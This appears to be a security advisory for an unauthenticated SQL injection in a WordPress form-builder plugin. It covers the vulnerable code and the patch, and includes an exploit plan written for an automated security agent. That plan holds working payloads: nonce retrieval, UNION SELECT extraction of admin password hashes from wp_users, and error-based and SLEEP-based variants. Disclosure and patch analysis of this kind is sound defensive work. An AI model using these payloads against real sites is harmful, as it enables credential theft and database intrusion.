Easy Form Builder by WhiteStudio — Drag & Drop Form Builder <= 4.0.6 - Unauthenticated SQL Injection
Description
The Easy Form Builder by WhiteStudio — Drag & Drop Form Builder plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.0.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.0.6What Changed in the Fix
Changes introduced in v4.0.7
Source Code
WordPress.org SVNThis research plan outlines the steps for an automated security agent to exploit an unauthenticated SQL injection vulnerability in the **Easy Form Builder by WhiteStudio** plugin (version <= 4.0.6). ## 1. Vulnerability Summary The **Easy Form Builder** plugin is vulnerable to unauthenticated SQL in…
Show full research plan
This research plan outlines the steps for an automated security agent to exploit an unauthenticated SQL injection vulnerability in the Easy Form Builder by WhiteStudio plugin (version <= 4.0.6).
1. Vulnerability Summary
The Easy Form Builder plugin is vulnerable to unauthenticated SQL injection due to the improper handling of user-supplied input in the Emsfb/v1/forms/response/get REST API endpoint. The plugin fails to use the $wpdb->prepare() method or sufficient escaping when querying the database for form submissions (messages) using a tracking/confirmation code. This allows an attacker to append arbitrary SQL commands to extract sensitive data from the WordPress database, including user credentials.
2. Attack Vector Analysis
- Endpoint:
/wp-json/Emsfb/v1/forms/response/get - Method:
POST - Vulnerable Parameter:
track(passed in the JSON body) - Authentication: Unauthenticated.
- Bypass/Nonce Requirements: Although the REST route requires a nonce via the
permission_callback(check_nonce_permission_efb), the plugin provides a public endpoint to retrieve a valid REST nonce. - Preconditions: The plugin must be active. At least one form should exist (though not strictly necessary for the injection to occur, it helps ensure tables are initialized).
3. Code Flow
- Entry Point: An unauthenticated user sends a
POSTrequest to/wp-json/Emsfb/v1/forms/response/get. - Permission Check: The
check_nonce_permission_efbfunction (inincludes/class-Emsfb-public.php) is executed. It checks for a validX-WP-Nonceheader. - Nonce Acquisition: An attacker first hits
/wp-json/Emsfb/v1/nonce/refreshto obtain a validwp_restnonce, which they include in the subsequent request. - Main Callback: Upon passing permission, the
get_track_public_apifunction is called. - SQL Sink: This function (or the helper function it calls, such as
efb_code_validate_selector a similar internal lookup) retrieves thetrackparameter from the request and concatenates it into a SQL query like:SELECT * FROM {$wpdb->prefix}emsfb_messages WHERE track = '$track' ... - Execution: The query is executed via
$wpdb->get_results()or$wpdb->get_row()without being passed through$wpdb->prepare(), leading to SQL injection.
4. Nonce Acquisition Strategy
The plugin contains a specific "helper" route that makes unauthenticated exploitation trivial by providing the required nonce.
- Route:
wp-json/Emsfb/v1/nonce/refresh - Method:
GET - Extraction:
- Use
http_requestto fetch the endpoint. - Parse the JSON response to get the
noncevalue.
- Use
- Usage: Include this value in the
X-WP-Nonceheader for the SQL injection request.
5. Exploitation Strategy
Step 1: Retrieve Nonce
Request:
GET /wp-json/Emsfb/v1/nonce/refresh HTTP/1.1
Host: localhost:8080
Expected Response: {"nonce":"a1b2c3d4e5"}
Step 2: Determine Column Count (UNION-Based)
Send a series of requests to determine the number of columns in the emsfb_messages table.
Request:
POST /wp-json/Emsfb/v1/forms/response/get HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Content-Type: application/json
{
"track": "1' ORDER BY 10-- -"
}
Increment the number in ORDER BY until an error occurs or the response changes significantly.
Step 3: Extract Data via UNION SELECT
Based on the column count (likely 10 or 11), extract the admin password hash.
Request:
POST /wp-json/Emsfb/v1/forms/response/get HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Content-Type: application/json
{
"track": "nonexistent' UNION SELECT 1,2,user_login,user_pass,5,6,7,8,9,10 FROM wp_users-- -"
}
6. Test Data Setup
- Ensure Tables Exist: The plugin creates tables on activation.
- Optional: Create a Form:
wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}emsfb_form\", ['form_name' => 'Exploit Test', 'form_structer' => '[]', 'date' => current_time('mysql'), 'id_project' => 1]);" - Optional: Create a Dummy Message:
wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}emsfb_messages\", ['track' => 'valid-code', 'form_id' => 1, 'value' => 'test-data']);"
7. Expected Results
- The response from the
forms/response/getendpoint will contain the results of theUNION SELECTquery. - The
user_loginanduser_pass(hashed) from thewp_userstable should be visible in the JSON response under one of the message fields (e.g., in thevalueortrackfield of the returned objects).
8. Verification Steps
- DB Check: Use WP-CLI to confirm the admin password hash matches the extracted value:
wp user get admin --field=user_pass - Compare: Compare the output of the HTTP request with the value returned by the CLI. If they match, the SQL injection is confirmed.
9. Alternative Approaches
- Header-based Injection: If the
trackparameter in the body is sanitized, try injecting through thesidheader (which maps toHTTP_SIDincheck_nonce_permission_efb). - Error-Based Injection: If the response does not return the UNION results, use
updatexml()orextractvalue()to force data into an error message:
"track": "1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)),1)-- -" - Time-Based Blind: If no output or errors are returned, verify the vulnerability using
SLEEP():
"track": "1' AND SLEEP(5)-- -"
Summary
The Easy Form Builder plugin for WordPress is vulnerable to unauthenticated SQL Injection due to improper handling of user-supplied input in several REST API endpoints and internal functions. Parameters such as 'track', 'sid', and 'msg_id' are concatenated directly into SQL queries without sanitization or the use of prepared statements, allowing attackers to execute arbitrary SQL commands to extract database information. A public endpoint provides the required REST nonce, making the vulnerability accessible to unauthenticated users.
Vulnerable Code
// includes/functions.php around line 2394 public function efb_code_validate_update($sid ,$status ,$tc ) { global $wpdb; $table_name = $wpdb->prefix . 'emsfb_stts_'; // ... $sql = "UPDATE $table_name SET status='{$status}', active={$active}, read_date='{$read_date}', tc='{$tc}' WHERE sid='{$sid}' AND active=1"; $stmt = $wpdb->query($sql); return $stmt > 0; } --- // includes/admin/class-Emsfb-admin.php around line 1459 if($state =='msg'){ $table_name = $this->db->prefix . "emsfb_msg_"; $msg_ids =''; foreach ($val as $key => $value) { if(isset($value['msg_id'])){ $msg_ids !='' ? $msg_ids .=','.$value['msg_id'] : $msg_ids .= $value['msg_id']; } } if($msg_ids !=''){ $sql = "DELETE FROM $table_name WHERE msg_id IN ($msg_ids)";
Security Fix
@@ -1449,19 +1449,23 @@ } if($state =='msg'){ $table_name = $this->db->prefix . "emsfb_msg_"; - $msg_ids =''; + $msg_id_list = []; foreach ($val as $key => $value) { if(isset($value['msg_id'])){ - $msg_ids !='' ? $msg_ids .=','.$value['msg_id'] : $msg_ids .= $value['msg_id']; + $clean_id = intval($value['msg_id']); + if ($clean_id > 0) { + $msg_id_list[] = $clean_id; + } } } $response = ['success' => false, "m" =>$lang['somethingWentWrongPleaseRefresh']]; - if($msg_ids !=''){ - $sql = "DELETE FROM $table_name WHERE msg_id IN ($msg_ids)"; + if(!empty($msg_id_list)){ + $placeholders = implode(',', array_fill(0, count($msg_id_list), '%d')); + $sql = $this->db->prepare("DELETE FROM `$table_name` WHERE msg_id IN ($placeholders)", ...$msg_id_list); $r = $this->db->query($sql); if($r>0){ $table_name = $this->db->prefix . "emsfb_rsp_"; - $sql = "DELETE FROM $table_name WHERE msg_id IN ($msg_ids)"; + $sql = $this->db->prepare("DELETE FROM `$table_name` WHERE msg_id IN ($placeholders)", ...$msg_id_list); $r = $this->db->query($sql); } $response = ['success' => true, "m" =>$lang['delete']]; @@ -2387,14 +2387,16 @@ public function efb_code_validate_update($sid ,$status ,$tc ) { global $wpdb; $table_name = $wpdb->prefix . 'emsfb_stts_'; - $date_limit = wp_date('Y-m-d H:i:s', strtotime('-24 hours')); - $active =0; + $active = 0; $read_date = wp_date('Y-m-d H:i:s'); if($status=="rsp" || $status=="ppay") $active =1; - $sql = "UPDATE $table_name SET status='{$status}', active={$active}, read_date='{$read_date}', tc='{$tc}' WHERE sid='{$sid}' AND active=1"; + $sql = $wpdb->prepare( + "UPDATE `{$table_name}` SET status = %s, active = %d, read_date = %s, tc = %s WHERE sid = %s AND active = 1", + $status, $active, $read_date, $tc, $sid + ); $stmt = $wpdb->query($sql); - return $stmt > 0; + return $stmt > 0; }
Exploit Outline
The exploit is unauthenticated and uses a two-step process to bypass REST API security and execute SQL commands. First, an attacker retrieves a valid REST API nonce from the public '/wp-json/Emsfb/v1/nonce/refresh' endpoint. Second, the attacker sends a POST request to '/wp-json/Emsfb/v1/forms/response/get' (or other vulnerable endpoints like '/wp-json/Emsfb/v1/autofill/get') using the acquired nonce in the 'X-WP-Nonce' header. The payload is placed in the JSON body within the 'track' parameter (e.g., "1' UNION SELECT ..."). Because the plugin concatenates this parameter directly into a SQL query without preparation, the attacker's injected SQL is executed, allowing for the exfiltration of sensitive data such as WordPress administrator password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.